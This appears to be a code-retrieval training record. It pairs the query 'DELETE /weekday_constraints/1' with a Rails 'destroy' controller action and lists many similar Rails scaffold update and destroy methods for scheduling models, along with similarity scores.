update\n @workday = Workday.find(params[:id])\n respond_to do |format|\n if @workday.update_attributes(params[:workday])\n format.html { redirect_to(@workday, :notice => 'Workday was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @workday.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @monday.update(monday_params)\n format.html { redirect_to @monday, notice: 'Monday was successfully updated.' }\n format.json { render :show, status: :ok, location: @monday }\n else\n format.html { render :edit }\n format.json { render json: @monday.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @schedule_entry = ScheduleEntry.find(params[:id])\n\n respond_to do |format|\n if @schedule_entry.update_attributes(params[:schedule_entry])\n format.html { redirect_to @schedule_entry, notice: 'Schedule entry was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @schedule_entry.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @schedule = Schedule.find(params[:id])\n @client_branches = ClientBranch.where(:client_id => params[:schedule][:client_id])\n respond_to do |format|\n if @schedule.update_attributes(params[:schedule])\n format.html { redirect_to @schedule, notice: 'Schedule was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @extra_holiday.update(extra_holiday_params)\n format.html { redirect_to @extra_holiday, notice: 'Extra holiday was successfully updated.' }\n format.json { render :show, status: :ok, location: @extra_holiday }\n else\n format.html { render :edit }\n format.json { render json: @extra_holiday.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @day.update(day_params)\n format.html { redirect_to @day, notice: 'Day was successfully updated.' }\n else\n format.html { render :edit }\n end\n end\n end", "def reminder_rule_params\n params.require(:reminder_rule).permit(:day_of_week, :time_of_day, :emailable, :textable, :reminder_id)\n end", "def update\n @work_day = WorkDay.find(params[:id])\n\n respond_to do |format|\n if @work_day.update_attributes(params[:work_day])\n flash[:notice] = 'Giornata di lavoro salvata con successo.'\n format.html { redirect_to action: 'index' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @work_day.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @daily_recurrence = args[:daily_recurrence] if args.key?(:daily_recurrence)\n @every = args[:every] if args.key?(:every)\n @monthly_recurrence = args[:monthly_recurrence] if args.key?(:monthly_recurrence)\n @recurrence_end_date = args[:recurrence_end_date] if args.key?(:recurrence_end_date)\n @recurrence_start = args[:recurrence_start] if args.key?(:recurrence_start)\n @repeat_count = args[:repeat_count] if args.key?(:repeat_count)\n @repeat_forever = args[:repeat_forever] if args.key?(:repeat_forever)\n @single_recurrence = args[:single_recurrence] if args.key?(:single_recurrence)\n @weekly_recurrence = args[:weekly_recurrence] if args.key?(:weekly_recurrence)\n @yearly_recurrence = args[:yearly_recurrence] if args.key?(:yearly_recurrence)\n end", "def update\n respond_to do |format|\n if @daily_happiness.update(daily_happiness_params)\n format.html { redirect_to @daily_happiness, notice: 'Daily happiness was successfully updated.' }\n format.json { render :show, status: :ok, location: @daily_happiness }\n else\n format.html { render :edit }\n format.json { render json: @daily_happiness.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @weekly_challenge.update(weekly_challenge_params)\n format.html { redirect_to backoffice_weekly_challenge_path(@weekly_challenge), notice: 'Weekly challenge was successfully updated.' }\n format.json { render :show, status: :ok, location: backoffice_weekly_challenge_path(@weekly_challenge) }\n else\n format.html { render :edit }\n format.json { render json: @weekly_challenge.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @dayoff = Dayoff.find(params[:id])\n\n respond_to do |format|\n if @dayoff.update_attributes(params[:dayoff])\n format.html { redirect_to @dayoff, notice: 'Dayoff was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @dayoff.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @trip_schedule.update(trip_schedule_params)\n format.html { redirect_to @trip_schedule, notice: 'Trip schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @trip_schedule }\n else\n format.html { render :edit }\n format.json { render json: @trip_schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @place = Place.find(params[:id])\n\n respond_to do |format|\n\t if !params[:working_days_names].nil?\n\t\tparams[:place][:working_days] = Array.new\n\t\tparams[:working_days_names].each do |wdn|\n\t\t\tparams[:place][:working_days] << WorkingDay.find_by_name(wdn)\n\t\tend\n\t end\n if @place.update_attributes(params[:place])\n format.html { redirect_to(@place, :notice => 'El local fue editado correctamente!') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @place.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @week_day = args[:week_day] if args.key?(:week_day)\n end", "def update\r\n if @classday.update_attributes(classday_params)\r\n render json: @classday, status: 200, location: group_classdays_url(@classday)\r\n else\r\n render json: @classday.errors, status: :unprocessable_entity\r\n end\r\n end", "def update\n @school_day = SchoolDay.find(params[:id])\n\n respond_to do |format|\n if @school_day.update_attributes(params[:school_day])\n format.html { redirect_to @school_day, notice: 'School day was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @school_day.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @downtime.update(downtime_params)\n format.html { redirect_to @downtime, notice: 'Downtime was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @downtime.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @wednesday.update(wednesday_params)\n format.html { redirect_to @wednesday, notice: \"Wednesday was successfully updated.\" }\n format.json { render :show, status: :ok, location: @wednesday }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @wednesday.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @contest = Contest.find(params[:id])\n\n begin_date = params[:begin_date]\n end_date = params[:end_date]\n\n @contest.errors[:begin_date] << 'is invalid.' unless valid? begin_date\n @contest.errors[:end_date] << 'is invalid.' unless valid? end_date\n\n @contest.begin_date = to_date(begin_date)\n @contest.end_date = to_date(end_date)\n\n respond_to do |format|\n if @contest.update_attributes(params[:contest])\n format.html { redirect_to @contest, notice: 'Contest was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @contest.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @schedule = Schedule.find(params[:id])\n\n respond_to do |format|\n if @schedule.update_attributes(params[:schedule])\n format.html { redirect_to schedules_path, notice: 'Agendamento atualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @dates_schedule.update(dates_schedule_params)\n format.html { redirect_to @dates_schedule, notice: 'Dates schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @dates_schedule }\n else\n format.html { render :edit }\n format.json { render json: @dates_schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @new_day.update(new_day_params)\n format.html { render text: '已经把反馈传给用户了,谢谢您' }\n format.json { render :show, status: :ok, location: @new_day }\n else\n format.html { render :edit }\n format.json { render json: @new_day.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @user_hour_requirement = UserHourRequirement.find(params[:id])\n\n respond_to do |format|\n if @user_hour_requirement.update_attributes(params[:user_hour_requirement])\n format.html { redirect_to @user_hour_requirement, :notice => 'User hour requirement was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @user_hour_requirement.errors, :status => :unprocessable_entity }\n end\n end\n end", "def schedule_place_params\n params.require(:schedule_place).permit(:weekday_id, :start_time, :end_time)\n .merge(\n \"start_time(1i)\"=>\"1\",\n \"start_time(2i)\"=>\"1\",\n \"start_time(3i)\"=>\"1\",\n \"end_time(1i)\"=>\"1\",\n \"end_time(2i)\"=>\"1\",\n \"end_time(3i)\"=>\"1\"\n )\n end", "def update\n respond_to do |format|\n if @dj_schedule.update(dj_schedule_params)\n format.html { redirect_to @dj_schedule, notice: 'Dj schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @dj_schedule }\n else\n format.html { render :edit }\n format.json { render json: @dj_schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @day_of_week = args[:day_of_week] if args.key?(:day_of_week)\n @period_end_minutes = args[:period_end_minutes] if args.key?(:period_end_minutes)\n @period_start_minutes = args[:period_start_minutes] if args.key?(:period_start_minutes)\n end", "def update\n @work_day = WorkDay.find(params[:id])\n\n respond_to do |format|\n if @work_day.update_attributes(params[:work_day])\n format.html { redirect_to(@work_day, :notice => 'Work day was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @work_day.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @trip = Trip.find(params[:trip_id])\n @day = Day.find(params[:id])\n @day.assign(params[:day])\n \n respond_to do |format|\n if @day.save\n format.html { redirect_to(trip_day_path(@trip, @day), :notice => 'Day was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { redirect_to(edit_trip_day_path(@trip, @day)) }\n format.xml { render :xml => @day.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @workout_day = WorkoutDay.find(params[:id])\n\n respond_to do |format|\n if @workout_day.update_attributes(params[:workout_day])\n format.html { redirect_to @workout_day, notice: 'Workout day was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @workout_day.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event_schedule = EventSchedule.find(params[:id])\n\n respond_to do |format|\n if @event_schedule.update_attributes(params[:event_schedule])\n format.html { redirect_to @event_schedule, notice: 'Event schedule was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event_schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n # @job = @shift.job\n # @employee = @shift.employee\n # time = @shift.time_out || @shift.time_in\n # @shift.week = time.to_datetime\n\n respond_to do |format|\n if @shift.update(shift_params)\n format.html { redirect_to company_shift_path(@shift), notice: 'Shift was successfully updated.' }\n format.json { render :show, status: :ok, location: @shift }\n else\n format.html { render :edit }\n format.json { render json: @shift.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @nfl_schedule.update(nfl_schedule_params)\n format.html { redirect_to @nfl_schedule, notice: 'Nfl schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @nfl_schedule }\n else\n format.html { render :edit }\n format.json { render json: @nfl_schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @schedule.update(schedule_params)\n end" ]
[ "0.7113796", "0.69656956", "0.67099786", "0.63941854", "0.6228021", "0.5994955", "0.59733343", "0.5957577", "0.58312106", "0.5657831", "0.5631886", "0.56004864", "0.55685604", "0.5542169", "0.5531347", "0.5514782", "0.54798675", "0.5470324", "0.5469003", "0.5448787", "0.5438961", "0.54355496", "0.54268044", "0.5399749", "0.5399749", "0.5390613", "0.5388789", "0.53767765", "0.53762126", "0.53651595", "0.5360937", "0.53535354", "0.5349765", "0.53359884", "0.5334129", "0.5331471", "0.5330138", "0.53217024", "0.5315069", "0.53075266", "0.5305557", "0.5296463", "0.52853054", "0.52848136", "0.52822393", "0.5280715", "0.5266588", "0.5259424", "0.52557725", "0.52379745", "0.52365094", "0.52331156", "0.52180487", "0.52151513", "0.52144456", "0.52136433", "0.52122325", "0.52007234", "0.51987606", "0.5195194", "0.5193455", "0.5190905", "0.5183375", "0.51807654", "0.51763266", "0.51752925", "0.51736677", "0.51712185", "0.5168055", "0.51677114", "0.5163695", "0.51636034", "0.5161114", "0.5158884", "0.51578236", "0.515522", "0.51523215", "0.51419157", "0.51396996", "0.51389414", "0.5138661", "0.51386005", "0.5134119", "0.5131288", "0.5131082", "0.5129074", "0.51254994", "0.51163304", "0.51159024", "0.5110209", "0.5108648", "0.51063323", "0.5103108", "0.51006556", "0.50998116", "0.5099796", "0.5099537", "0.5096913", "0.5093455", "0.5093318" ]
0.79578316
0
DELETE /weekday_constraints/1 DELETE /weekday_constraints/1.json
def destroy @weekday_constraint.destroy respond_to do |format| format.html { redirect_to weekday_constraints_url, notice: 'Weekday constraint was successfully destroyed.' } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @weekday = Weekday.find(params[:id])\n @weekday.destroy\n\n respond_to do |format|\n format.html { redirect_to weekdays_url }\n format.json { head :ok }\n end\n end", "def destroy\n @interval_constraint.destroy\n respond_to do |format|\n format.html { redirect_to interval_constraints_url, notice: 'Interval constraint was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @theory_day.destroy\n respond_to do |format|\n format.html { redirect_to theory_days_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @constraint.destroy\n respond_to do |format|\n format.html { redirect_to constraints_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @day_week.destroy\n respond_to do |format|\n format.html { redirect_to day_weeks_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @hospitalization_day.destroy\n respond_to do |format|\n format.html { redirect_to hospitalization_days_url, notice: 'Día de estancia eliminado satisfactoriamente.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @sunday.destroy\n respond_to do |format|\n format.html { redirect_to sundays_url, notice: 'Sunday was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @constraint = Constraint.find(params[:id])\n @constraint.destroy\n\n respond_to do |format|\n format.html { redirect_to constraints_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @day = Day.find(params[:id])\n @day.destroy\n\n respond_to do |format|\n format.html { redirect_to(conference_days_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @week_day.destroy\n respond_to do |format|\n format.html { redirect_to week_days_url, notice: 'Week day was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @day_of_week.destroy\n respond_to do |format|\n format.html { redirect_to day_of_weeks_url, notice: 'Day of week was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def update\n respond_to do |format|\n if @weekday_constraint.update(weekday_constraint_params)\n format.html { redirect_to @weekday_constraint, notice: 'Weekday constraint was successfully updated.' }\n format.json { render :show, status: :ok, location: @weekday_constraint }\n else\n format.html { render :edit }\n format.json { render json: @weekday_constraint.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy\n @daytype = Daytype.find(params[:id])\n @daytype.destroy\n\n respond_to do |format|\n format.html { redirect_to daytypes_url }\n format.json { head :no_content }\n end\n end", "def clear_rules\n cs_delete \"/segments/#{segment_id}/rules.json\", {}\n end", "def destroy\n @downtime.destroy\n respond_to do |format|\n format.html { redirect_to downtimes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @elective_day.destroy\n respond_to do |format|\n format.html { redirect_to elective_days_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @day_week = DayWeek.find(params[:id])\n @day_week.destroy\n\n respond_to do |format|\n format.html { redirect_to day_weeks_url, :notice => 'Dia da semana excluído com sucesso.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @weekly_schedule.destroy\n respond_to do |format|\n format.html { redirect_to weekly_schedules_url, notice: 'Weekly schedule was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @daytime = Daytime.find(params[:id])\n @daytime.destroy\n\n respond_to do |format|\n format.html { redirect_to daytimes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @matchday.destroy\n respond_to do |format|\n format.html { redirect_to matchdays_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @day.destroy\n respond_to do |format|\n format.html { redirect_to days_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @day = Day.find(params[:id])\n @day.destroy\n\n respond_to do |format|\n format.html { redirect_to days_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @everyday.destroy\n respond_to do |format|\n format.html { redirect_to everydays_url, notice: 'Everyday was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n dns_entry_response = RestClient.delete('https://api.cloudflare.com/client/v4/zones/:zone_identifier/dns_records/:identifier',:content_type => :json, :accept => :json, :'x-auth-key' => session[:key] :'x-auth-email' => session[:email])\n @dns_entry.destroy\n respond_to do |format|\n format.html { redirect_to dns_entries_url, notice: \"Dns entry was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @default_line_calendar.destroy\n respond_to do |format|\n format.html { redirect_to default_line_calendars_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @off_day.destroy\n respond_to do |format|\n format.html { redirect_to off_days_url, notice: 'Off day was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @admin_selling_config_days_to_complete.destroy\n respond_to do |format|\n format.html { redirect_to admin_selling_config_days_to_completes_path, notice: mk_notice(@admin_selling_config_days_to_complete, :id, 'Days to complete', :destroy) }\n format.json { head :no_content }\n end\n end", "def destroy\n @beacon.destroy\n DateUpdate.new().save\n respond_to do |format|\n format.html { redirect_to local_beacons_path, notice: 'Beacon was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @availability_day = AvailabilityDay.find(params[:id])\n @availability_day.destroy\n\n respond_to do |format|\n format.html { redirect_to(availability_days_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @calendar_day.destroy\n respond_to do |format|\n format.html { redirect_to calendar_days_url, notice: 'Calendar day was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @week = WeekAvailability.find(params[:week_availability_id])\n @day_availability = DayAvailability.find(params[:id])\n @day_availability.destroy\n\n respond_to do |format|\n format.html { redirect_to @week }\n format.json { head :no_content }\n end\n end", "def destroy\n @downtime_type.destroy\n respond_to do |format|\n format.html { redirect_to downtime_types_url, notice: '成功删除.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @daily_happiness.destroy\n respond_to do |format|\n format.html { redirect_to daily_happinesses_url, notice: 'Daily happiness was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @time_of_day.destroy\n respond_to do |format|\n format.html { redirect_to time_of_days_url, notice: 'Time of day was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @monday.destroy\n respond_to do |format|\n format.html { redirect_to mondays_url, notice: 'Monday was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n \n attendance = Attendance.all.where(day_type: @day_type.id)\n attendance.each do |a|\n a.destroy\n end\n\n @day_type.destroy\n respond_to do |format|\n format.html { redirect_to day_types_url, notice: 'Day type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @admin_schedule.destroy\n respond_to do |format|\n format.html { redirect_to admin_schedules_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @weekly_update.destroy\n respond_to do |format|\n format.html { redirect_to weekly_updates_url, notice: 'Weekly update was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @day_statistics = @patient.day_statistics.all\n @day_statistics.delete_all\n @patient.destroy\n respond_to do |format|\n format.html { redirect_to patients_url, notice: 'Данные пациента удалены.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @new_day.destroy\n respond_to do |format|\n format.html { redirect_to new_days_url, notice: 'New day was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @dayoff = Dayoff.find(params[:id])\n @dayoff.destroy\n\n respond_to do |format|\n format.html { redirect_to dayoffs_url }\n format.json { head :no_content }\n end\n end", "def clear_rules\n response = @create_send.delete \"/segments/#{segment_id}/rules.json\", {}\n end", "def destroy\n send_calendar_request(\"/#{@id}\", :delete)\n end", "def destroy\n @school_day = SchoolDay.find(params[:id])\n @school_day.destroy\n\n respond_to do |format|\n format.html { redirect_to school_days_url, notice: \"School day was successfully deleted.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @machine_time_rule.destroy\n respond_to do |format|\n format.html { redirect_to machine_time_rules_url, notice: 'Machine time rule was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @event_recurrence.destroy\n respond_to do |format|\n format.html { redirect_to event_recurrences_url, notice: 'Event recurrence was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @special_holiday.destroy\n respond_to do |format|\n format.html { redirect_to special_holidays_url, notice: 'Special holiday was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete_calendar(id)\n @client.raw('delete', \"/config/calendars/#{id}\")\n end", "def destroy\n @user_day = UserDay.find(params[:id])\n @allowance = @user_day.user.get_holiday_allowance_for_dates Date.today, Date.today\n @allowance.days_remaining -= @user_day.no_days\n @user_day.destroy\n @allowance.save\n respond_to do |format|\n format.html { redirect_to(user_days_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @bday = Bday.find(params[:id])\n @bday.destroy\n\n respond_to do |format|\n format.html { redirect_to(bdays_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @schedule_entry = ScheduleEntry.find(params[:id])\n @schedule_entry.destroy\n\n respond_to do |format|\n format.html { redirect_to edit_schedule_entry_path(1) }\n format.json { head :no_content }\n end\n end", "def destroy\n @backend_conf_event.destroy\n respond_to do |format|\n format.html { redirect_to backend_conf_events_url, notice: 'Conf event was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @day.destroy\n respond_to do |format|\n format.html { redirect_to days_url, notice: 'Day was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @dj_schedule.destroy\n respond_to do |format|\n format.html { redirect_to dj_schedules_url, notice: 'Dj schedule was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @holiday.destroy\n respond_to do |format|\n format.html { redirect_to holidays_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @extra_holiday.destroy\n respond_to do |format|\n format.html { redirect_to extra_holidays_url, notice: 'Extra holiday was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @schedule.destroy\n respond_to do |format|\n format.html { redirect_to admins_backoffice_schedules_path, notice: 'Horário foi deletado com sucesso!' }\n format.json { head :no_content }\n end\n end", "def destroy\n @dis_nfi_schedule.destroy\n respond_to do |format|\n format.html { redirect_to dis_nfi_schedules_url, notice: 'Dis nfi schedule was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete_appointment(id)\n @client.raw('delete', \"/config/appointments/#{id}\")\n end", "def destroy\n @holidaytype = Holidaytype.find(params[:id])\n @holidaytype.destroy\n\n respond_to do |format|\n format.html { redirect_to holidaytypes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @wednesday.destroy\n respond_to do |format|\n format.html { redirect_to wednesdays_url, notice: \"Wednesday was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @week_datum.destroy\n respond_to do |format|\n format.html { redirect_to week_data_url }\n format.json { head :no_content }\n end\n end", "def destroy\n event = @event_day.destroy\n @event_day.destroy\n respond_to do |format|\n format.html { redirect_to :back, notice: 'Event day was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @workday.destroy\n respond_to do |format|\n format.html { redirect_to dashboard_path, notice: 'Workday was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @attend_rule.destroy\n respond_to do |format|\n format.html { redirect_to attend_rules_url, notice: 'Attend rule was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\r\n @classday.destroy\r\n\r\n head :no_content\r\n end", "def destroy\n unless @schedule.out_of_date\n @schedule.send_canceled_notify_applicant_email\n end\n @schedule.destroy\n respond_to do |format|\n format.html { redirect_to @location, notice: 'Schedule was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @workday = Workday.find(params[:id])\n @workday.destroy\n\n respond_to do |format|\n format.html { redirect_to(workdays_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @important_date.destroy\n respond_to do |format|\n format.html { redirect_to important_dates_url }\n format.json { head :no_content }\n end\n end", "def destroy\n return if @name.nil?\n delete_rest \"rules/#{@name}\"\n end", "def destroy\n @trip.days.all.each do |day|\n day.destroy\n end\n @trip.destroy\n respond_to do |format|\n format.html { redirect_to trips_url, notice: 'Trip was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @work_day = WorkDay.find(params[:id])\n @work_day.destroy\n\n respond_to do |format|\n flash[:notice] = 'Giornata di lavoro rimossa con successo.'\n format.html { redirect_to work_days_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @closing_day = ClosingDay.find(params[:id])\n @closing_day.destroy\n\n respond_to do |format|\n format.html { redirect_to closing_days_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @spec_day.destroy\n respond_to do |format|\n format.html { redirect_to spec_days_url, notice: 'Spec day was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @activity_holiday.destroy\n respond_to do |format|\n format.html { redirect_to activity_holidays_url, notice: 'Activity holiday was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @dates_schedule.destroy\n respond_to do |format|\n format.html { redirect_to dates_schedules_url, notice: 'Dates schedule was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @http_domain_rule = collection.find(params[:id])\n @http_domain_rule.destroy\n\n respond_to do |format|\n format.html { redirect_to @core_application }\n format.json { head :ok }\n end\n end", "def destroy\n @workout_day = WorkoutDay.find(params[:id])\n @workout_day.destroy\n\n respond_to do |format|\n format.html { redirect_to workout_days_url }\n format.json { head :no_content }\n end\n end", "def delete_firewall_rule project:, name:\n client = ::Google::Cloud::Compute::V1::Firewalls::Rest::Client.new\n operation = client.delete project: project, firewall: name\n\n wait_until_done operation: operation\nend", "def destroy\n @event_schedule = EventSchedule.find(params[:id])\n @event_schedule.destroy\n\n respond_to do |format|\n format.html { redirect_to event_schedules_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @day.destroy\n respond_to do |format|\n format.html { redirect_to days_url, notice: 'Day was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete_calendar(calendar_id)\n end", "def destroy\n @hk_public_holiday = HkPublicHoliday.find(params[:id])\n @hk_public_holiday.destroy\n\n respond_to do |format|\n format.html { redirect_to(hk_public_holidays_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @day_timeslot.destroy\n respond_to do |format|\n format.html { redirect_to day_timeslots_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @calender_event.destroy\n respond_to do |format|\n format.html { redirect_to calender_events_url, notice: '予定を削除しました。' }\n format.json { head :no_content }\n end\n end", "def destroy\n @the_day = TheDay.find(params[:id])\n @the_day.destroy\n\n respond_to do |format|\n format.html { redirect_to(the_days_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @flight_schedule = FlightSchedule.find(params[:id])\n @flight_schedule.destroy\n\n respond_to do |format|\n format.html { redirect_to flight_schedules_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @schedule.destroy\n respond_to do |format|\n format.html {redirect_to root_url, notice: 'スケジュールが削除されました'}\n format.json {head :no_content}\n end\n end", "def destroy\n @date_request.destroy\n respond_to do |format|\n format.html { redirect_to date_requests_url, notice: \"Date request was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @foreign_key.destroy\n respond_to do |format|\n format.html { redirect_to foreign_keys_url, notice: 'Foreign key was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\n @free_day = @free_days.first :date => params[:date]\n if @free_day && @free_day.destroy\n render_success \"Vacation at #{params[:date]} was removed\"\n else\n render_failure \"Couldn't remove vacation\"\n end\n end", "def destroy\n @holiday_date.destroy\n respond_to do |format|\n format.html { redirect_to holiday_dates_url, notice: 'Holiday date was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @nfl_schedule = NflSchedule.find(params[:id])\n @nfl_schedule.destroy\n\n respond_to do |format|\n format.html { redirect_to nfl_schedules_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @attendance_entry.destroy\n respond_to do |format|\n format.html { redirect_to event_attendance_entries_path(@attendance_entry.event) }\n format.json { head :no_content }\n end\n end", "def destroy\n @batch_day.destroy\n respond_to do |format|\n format.html { redirect_to batch_days_url, notice: 'Batch day was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @day_hour.destroy\n respond_to do |format|\n format.html { redirect_to day_hours_url, notice: 'Day hour was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @req_breakdown = ReqBreakdown.find(params[:id])\n @req_breakdown.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_req_breakdowns_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @appointment.destroy\n head 204\n end", "def destroy\n @user_daily_questionnaire.destroy\n respond_to do |format|\n format.html { redirect_to user_daily_questionnaires_url, notice: \"User daily questionnaire was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @friday.destroy\n respond_to do |format|\n format.html { redirect_to fridays_url, notice: \"Friday was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end" ]
